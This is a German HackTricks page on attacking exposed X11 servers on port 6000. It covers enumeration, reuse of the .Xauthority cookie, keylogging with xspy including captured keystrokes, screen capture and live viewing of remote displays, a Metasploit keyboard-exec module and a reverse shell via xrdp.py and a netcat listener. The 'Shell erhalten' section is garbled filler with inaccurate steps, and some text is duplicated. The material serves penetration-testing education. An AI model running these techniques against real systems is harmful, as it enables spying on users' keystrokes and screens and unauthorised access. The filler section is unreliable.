15 KiB
6000 - Pentesting X11
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.
Treten Sie dem HackenProof Discord Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
Hacking Insights
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen.
Echtzeit-Hack-News
Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke auf dem Laufenden.
Neueste Ankündigungen
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattformupdates informiert.
Treten Sie uns auf Discord bei und beginnen Sie noch heute mit Top-Hackern zusammenzuarbeiten!
Grundlegende Informationen
Das X Window System (X) ist ein vielseitiges Fenstersystem, das auf UNIX-basierten Betriebssystemen weit verbreitet ist. Es bietet einen Rahmen für die Erstellung von grafischen Benutzeroberflächen (GUIs), wobei einzelne Programme das Design der Benutzeroberfläche übernehmen. Diese Flexibilität ermöglicht vielfältige und anpassbare Erfahrungen innerhalb der X-Umgebung.
Standardport: 6000
PORT STATE SERVICE
6000/tcp open X11
Enumeration
Überprüfen Sie auf anonyme Verbindung:
nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11
Lokale Enumeration
Die Datei .Xauthority
im Benutzerverzeichnis wird von X11 zur Autorisierung verwendet. Von hier:
$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X
00000030: 041d ef ...
MIT-magic-cookie-1: Generieren von 128 Bit Schlüssel ("Cookie"), speichern in ~/.Xauthority (oder wo die XAUTHORITY Umgebungsvariable hinzeigt). Der Client sendet ihn unverschlüsselt an den Server! Der Server überprüft, ob er eine Kopie dieses "Cookies" hat, und wenn ja, wird die Verbindung zugelassen. Der Schlüssel wird von DMX generiert.
{% hint style="warning" %}
Um den Cookie zu verwenden, sollten Sie die Umgebungsvariable setzen: export XAUTHORITY=/Pfad/zur/.Xauthority
{% endhint %}
Lokale Enumerationssitzung
$ w
23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
user tty7 :0 13Oct23 76days 13:37 2.20s xfce4-session
Verbindung überprüfen
To verify the connection, you can use the xeyes
command. This command will open a small window with a pair of eyes that follow the mouse cursor. If the connection is successful, you should see the window with the eyes on your local machine.
$ xeyes
Um die Verbindung zu überprüfen, können Sie den Befehl xeyes
verwenden. Dieser Befehl öffnet ein kleines Fenster mit einem Paar Augen, das dem Mauszeiger folgt. Wenn die Verbindung erfolgreich ist, sollten Sie das Fenster mit den Augen auf Ihrem lokalen Rechner sehen.
$ xeyes
xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
Keylogging
xspy zum Mitschneiden der Tastatureingaben.
Beispiel-Ausgabe:
xspy 10.9.xx.xx
opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
Screenshots erfassen
Screenshots sind eine nützliche Methode, um visuelle Informationen während eines Penetrationstests zu erfassen. Sie ermöglichen es Ihnen, den Zustand des Systems oder bestimmte Aktionen festzuhalten, die während des Tests durchgeführt wurden. Hier sind einige Möglichkeiten, wie Sie Screenshots während eines Penetrationstests erfassen können:
Manuelle Methode
Die manuelle Methode erfordert, dass Sie den Bildschirm des Zielsystems fotografieren. Dies kann mit einem Mobiltelefon oder einer Kamera erfolgen. Stellen Sie sicher, dass die Bilder klar und lesbar sind, um später eine genaue Analyse durchführen zu können.
Tastenkombinationen
Einige Betriebssysteme bieten Tastenkombinationen an, um Screenshots zu erfassen. Zum Beispiel können Sie auf Windows-Systemen die "Print Screen" (PrtScn) Taste verwenden, um den gesamten Bildschirm zu erfassen, oder "Alt + Print Screen", um nur das aktive Fenster zu erfassen. Auf Linux-Systemen können Sie die "PrtScn" Taste oder "Shift + PrtScn" verwenden, um den gesamten Bildschirm oder nur das aktive Fenster zu erfassen.
Tools
Es gibt auch verschiedene Tools, die Ihnen helfen können, Screenshots während eines Penetrationstests zu erfassen. Einige beliebte Tools sind:
- Scrot: Ein Befehlszeilentool für Linux, mit dem Sie Screenshots erfassen können.
- Snipping Tool: Ein integriertes Tool in Windows, mit dem Sie Screenshots erstellen und bearbeiten können.
- Greenshot: Ein Open-Source-Tool für Windows, das erweiterte Funktionen zum Erfassen und Bearbeiten von Screenshots bietet.
Stellen Sie sicher, dass Sie die richtigen Berechtigungen haben, um Screenshots auf dem Zielsystem zu erfassen, und verwenden Sie diese Methode nur, wenn sie im Rahmen des Penetrationstests erlaubt ist.
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png
Remote Desktop-Ansicht
Weg von: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref
./xrdp.py <IP:0>
Weg von: https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
Zuerst müssen wir die ID des Fensters mit xwininfo finden.
xwininfo -root -display 10.9.xx.xx:0
xwininfo: Window id: 0x45 (the root window) (has no name)
Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 1024x768+0+0
XWatchwin
Für die Live-Anzeige müssen wir verwenden
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45
Shell erhalten
Um eine Shell auf einem X11-Server zu erhalten, können Sie verschiedene Techniken verwenden:
1. X11-Forwarding
Wenn Sie bereits Zugriff auf einen Benutzer mit X11-Forwarding haben, können Sie eine Shell auf dem X11-Server erhalten, indem Sie den folgenden Befehl ausführen:
ssh -X benutzer@zieladresse
Dadurch wird eine SSH-Verbindung zum Zielserver hergestellt und das X11-Forwarding aktiviert. Sie können dann eine Shell auf dem X11-Server öffnen, indem Sie den Befehl xterm
oder xeyes
ausführen.
2. X11-Reverse-Forwarding
Wenn Sie Zugriff auf einen Benutzer mit X11-Reverse-Forwarding haben, können Sie eine Shell auf Ihrem lokalen System öffnen und diese mit dem X11-Server verbinden. Führen Sie dazu die folgenden Befehle aus:
ssh -R 6000:localhost:6000 benutzer@zieladresse
export DISPLAY=:0
xterm
Dadurch wird eine SSH-Verbindung zum Zielserver hergestellt und das X11-Reverse-Forwarding aktiviert. Sie können dann eine Shell auf Ihrem lokalen System öffnen und diese mit dem X11-Server verbinden.
3. X11-Client-Exploits
Wenn Sie Zugriff auf einen Benutzer mit einem anfälligen X11-Client haben, können Sie einen Exploit verwenden, um eine Shell auf dem X11-Server zu erhalten. Ein Beispiel für einen solchen Exploit ist der xauth
-Exploit. Führen Sie die folgenden Schritte aus:
- Überprüfen Sie, ob der X11-Client anfällig ist, indem Sie den Befehl
xauth list
ausführen. - Wenn der Befehl eine Ausgabe liefert, führen Sie den Befehl
xauth add
aus, um eine neue Berechtigung hinzuzufügen. - Führen Sie den Befehl
xterm
aus, um eine Shell auf dem X11-Server zu öffnen.
4. X11-Server-Exploits
Wenn Sie Zugriff auf einen Benutzer mit einem anfälligen X11-Server haben, können Sie einen Exploit verwenden, um eine Shell auf dem X11-Server zu erhalten. Ein Beispiel für einen solchen Exploit ist der xhost
-Exploit. Führen Sie die folgenden Schritte aus:
- Überprüfen Sie, ob der X11-Server anfällig ist, indem Sie den Befehl
xhost
ausführen. - Wenn der Befehl eine Ausgabe liefert, führen Sie den Befehl
xterm
aus, um eine Shell auf dem X11-Server zu öffnen.
5. X11-Server-Backdoor
Wenn Sie Zugriff auf den X11-Server haben und dieser eine Backdoor enthält, können Sie eine Shell auf dem X11-Server erhalten, indem Sie die Backdoor verwenden. Die genauen Schritte hängen von der Art der Backdoor ab und können variieren.
6. X11-Server-Misconfiguration
Wenn der X11-Server falsch konfiguriert ist, können Sie möglicherweise eine Shell auf dem X11-Server erhalten, indem Sie die Konfiguration ändern. Die genauen Schritte hängen von der Art der Konfiguration ab und können variieren.
7. X11-Server-Exploits über Netzwerk
Wenn Sie Zugriff auf das Netzwerk haben, auf dem der X11-Server läuft, können Sie einen Exploit verwenden, um eine Shell auf dem X11-Server zu erhalten. Ein Beispiel für einen solchen Exploit ist der Xorg
-Exploit. Führen Sie die folgenden Schritte aus:
- Überprüfen Sie, ob der X11-Server anfällig ist, indem Sie den Exploit-Code ausführen.
- Wenn der Exploit erfolgreich ist, erhalten Sie eine Shell auf dem X11-Server.
8. X11-Server-Exploits über lokale Dateien
Wenn Sie Zugriff auf das Dateisystem des X11-Servers haben, können Sie einen Exploit verwenden, um eine Shell auf dem X11-Server zu erhalten. Ein Beispiel für einen solchen Exploit ist der Xorg
-Exploit. Führen Sie die folgenden Schritte aus:
- Überprüfen Sie, ob der X11-Server anfällig ist, indem Sie den Exploit-Code ausführen.
- Wenn der Exploit erfolgreich ist, erhalten Sie eine Shell auf dem X11-Server.
msf> use exploit/unix/x11/x11_keyboard_exec
Andere Möglichkeit:
Reverse Shell: Xrdp ermöglicht auch das Erstellen einer Reverse Shell über Netcat. Geben Sie den folgenden Befehl ein:
./xrdp.py \<IP:0> –no-disp
In der Benutzeroberfläche können Sie die R-Shell-Option sehen.
Starten Sie dann einen Netcat-Listener in Ihrem lokalen System auf Port 5555.
nc -lvp 5555
Dann geben Sie Ihre IP-Adresse und den Port in die Option R-Shell ein und klicken Sie auf R-Shell, um eine Shell zu erhalten.
Referenzen
- https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref
- https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
- https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref
Shodan
port:6000 x11
Treten Sie dem HackenProof Discord Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
Hacking Insights
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen.
Echtzeit-Hack-News
Bleiben Sie mit schnellen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke auf dem Laufenden.
Neueste Ankündigungen
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattform-Updates informiert.
Treten Sie uns bei Discord bei und beginnen Sie noch heute mit Top-Hackern zusammenzuarbeiten!
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.